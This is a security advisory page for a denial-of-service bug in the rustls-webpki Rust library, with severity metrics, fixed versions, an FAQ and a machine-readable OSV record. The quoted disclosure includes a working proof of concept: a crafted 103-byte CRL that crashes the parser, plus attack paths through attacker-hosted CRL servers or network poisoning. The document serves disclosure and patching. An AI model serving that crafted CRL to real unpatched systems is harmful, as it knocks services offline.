GHSA-82j2-j2ch-gfr8: rustls-webpki Denial of Service Vulnerability

HIGH
CVSS 7.5
CWE-125
Published
Advisory Summary

GHSA-82j2-j2ch-gfr8 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-125: Out-of-bounds Read) affecting rustls-webpki libraries in the crates.io ecosystem. The issue involves denial of service via panic on malformed crl bit string. Remediation is available by upgrading affected packages to version 0.103.13, 0.104.0-alpha.7.

GHSA-82j2-j2ch-gfr8 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-82j2-j2ch-gfr8
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-125: Out-of-bounds Read
Affected Product rustls-webpki
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix GHSA-82j2-j2ch-gfr8

To remediate this vulnerability, upgrade all affected rustls-webpki dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

rustls-webpki fixed: 0.103.13
Upgrade rustls-webpki to 0.103.13
rustls-webpki fixed: 0.104.0-alpha.7
Upgrade rustls-webpki to 0.104.0-alpha.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for rustls-webpki

How to Check if You Are Affected

To determine whether your application is affected by GHSA-82j2-j2ch-gfr8, inspect your project dependencies for rustls-webpki:

inspect dependencies for rustls-webpki

Analyze the terminal output to locate any version of rustls-webpki in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.103.13), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-125: Out-of-bounds Read, where the product reads data past the end, or before the beginning, of the intended buffer. In rustls-webpki, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension. **Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected. > **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission. ### Details `bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT STRINGs (KeyUsage, ReasonFlags, etc.). Its input guard: ```rust if padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) { return Err(Error::BadDer); } let last_byte = raw_bits[raw_bits.len() - 1]; // ← crash ``` misses the case `padding_bits == 0 && raw_bits.is_empty()`. When a BIT STRING has content `[0x00]` (one padding-bits byte set to zero, no data bytes): - padding_bits = 0x00 — passes the > 7 check ✓ - raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false) - raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX - raw_bits[usize::MAX] → panic Debug: thread 'main' panicked: attempt to subtract with overflow Release: thread 'main' panicked: index out of bounds: the len is 0 but the index is 18446744073709551615 ### PoC Cargo.toml: ``` [dependencies] rustls-webpki = "0.102.8" # also reproduces on 0.103.12 ``` src/main.rs: ``` fn main() { let crl: &[u8] = &[ 0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c, 0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x03, 0x02, 0x00, 0x00, ]; // Panics — never returns let _ = webpki::BorrowedCertRevocationList::from_der(crl); } ``` output: ``` thread 'main' panicked at src/der.rs:... index out of bounds: the len is 0 but the index is 18446744073709551615 ``` #### Trigger ``` a0 10 -- cRLExtensions [0] EXPLICIT 30 0e -- SEQUENCE OF Extension 30 0c -- Extension SEQUENCE 06 03 55 1d 1c -- OID 2.5.29.28 (id-ce-issuingDistributionPoint) 04 05 -- OCTET STRING (extnValue) 30 03 -- IssuingDistributionPoint SEQUENCE 83 01 00 -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00 -- padding_bits=0, data=[] ← TRIGGER ``` ### Impact - Who is affected: Applications that (1) use rustls-webpki with CRL revocation checking explicitly enabled via RevocationOptions, and (2) load CRL bytes from a source an attacker can influence. - Attack paths: - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required. - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.

GHSA-82j2-j2ch-gfr8 Affected rustls-webpki Versions

2 component(s)
Fixed Versions:
0.103.130.104.0-alpha.7
Product / Package Ecosystem Affected Versions Fixed Version
rustls-webpki
crates.io
< 0.103.13
0.103.13
rustls-webpki
crates.io
≥ 0.104.0-alpha.1
< 0.104.0-alpha.7
0.104.0-alpha.7

References

Frequently Asked Questions

What is GHSA-82j2-j2ch-gfr8?
GHSA-82j2-j2ch-gfr8 is a security vulnerability in rustls-webpki involving Denial of service via panic on malformed CRL BIT STRING under CWE-125: Out-of-bounds Read.
Which rustls-webpki versions are affected?
Affected versions include releases prior to 0.103.13, 0.104.0-alpha.7 across affected packages: rustls-webpki.
What version fixes GHSA-82j2-j2ch-gfr8?
Upgrading to 0.103.13, 0.104.0-alpha.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is rustls-webpki affected?
Yes, rustls-webpki is affected in releases prior to 0.103.13, 0.104.0-alpha.7. Upgrade your dependency to 0.103.13, 0.104.0-alpha.7 or later.
What is the CVSS score of GHSA-82j2-j2ch-gfr8?
GHSA-82j2-j2ch-gfr8 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with GHSA-82j2-j2ch-gfr8?
GHSA-82j2-j2ch-gfr8 is classified under CWE-125: Out-of-bounds Read (The product reads data past the end, or before the beginning, of the intended buffer.).
How can I check crates.io dependencies for GHSA-82j2-j2ch-gfr8?
Run the dependency tree command: 'inspect dependencies for rustls-webpki'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-82j2-j2ch-gfr8",
  "modified" : "2026-04-24T16:20:17Z",
  "published" : "2026-04-24T16:20:17Z",
  "aliases" : [ ],
  "summary" : "rustls-webpki: Denial of service via panic on malformed CRL BIT STRING",
  "details" : "### Summary\n\n`bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension.\n\n**Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected.\n\n> **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.\n\n### Details\n`bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT\nSTRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:\n\n```rust\nif padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) {\n    return Err(Error::BadDer);\n}\nlet last_byte = raw_bits[raw_bits.len() - 1];  // ← crash\n```\nmisses the case `padding_bits == 0 && raw_bits.is_empty()`.\nWhen a BIT STRING has content `[0x00]`  (one padding-bits byte set to zero, no data bytes):\n- padding_bits = 0x00 — passes the > 7 check ✓\n- raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false)\n- raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX\n- raw_bits[usize::MAX] → panic\n\n\nDebug:   thread 'main' panicked: attempt to subtract with overflow\nRelease: thread 'main' panicked: index out of bounds: the len is 0\n         but the index is 18446744073709551615\n\n### PoC\nCargo.toml:\n```\n[dependencies]\nrustls-webpki = \"0.102.8\"   # also reproduces on 0.103.12\n```\nsrc/main.rs:\n```\nfn main() {\n    let crl: &[u8] = &[\n        0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,\n        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n        0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,\n        0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,\n        0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,\n        0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,\n        0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,\n        0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,\n        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n        0x03, 0x02, 0x00, 0x00,\n    ];\n    // Panics — never returns\n    let _ = webpki::BorrowedCertRevocationList::from_der(crl);\n}\n```\noutput:\n```\nthread 'main' panicked at src/der.rs:...\nindex out of bounds: the len is 0 but the index is 18446744073709551615\n```\n#### Trigger\n```\na0 10            -- cRLExtensions [0] EXPLICIT\n  30 0e          -- SEQUENCE OF Extension\n    30 0c        -- Extension SEQUENCE\n      06 03 55 1d 1c   -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)\n      04 05            -- OCTET STRING (extnValue)\n        30 03          -- IssuingDistributionPoint SEQUENCE\n          83 01 00     -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00\n                       --   padding_bits=0, data=[]  ← TRIGGER\n```\n\n\n### Impact\n- Who is affected: \nApplications that (1) use rustls-webpki with CRL\nrevocation checking explicitly enabled via RevocationOptions, and (2)\nload CRL bytes from a source an attacker can influence.\n- Attack paths:\n    - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required.\n    - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "rustls-webpki"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.103.13"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "rustls-webpki"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.104.0-alpha.1"
      }, {
        "fixed" : "0.104.0-alpha.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rustls/webpki/security/advisories/GHSA-82j2-j2ch-gfr8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rustls/webpki"
  }, {
    "type" : "WEB",
    "url" : "https://rustsec.org/advisories/RUSTSEC-2026-0104.html"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-125" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-24T16:20:17Z",
    "nvd_published_at" : null
  }
}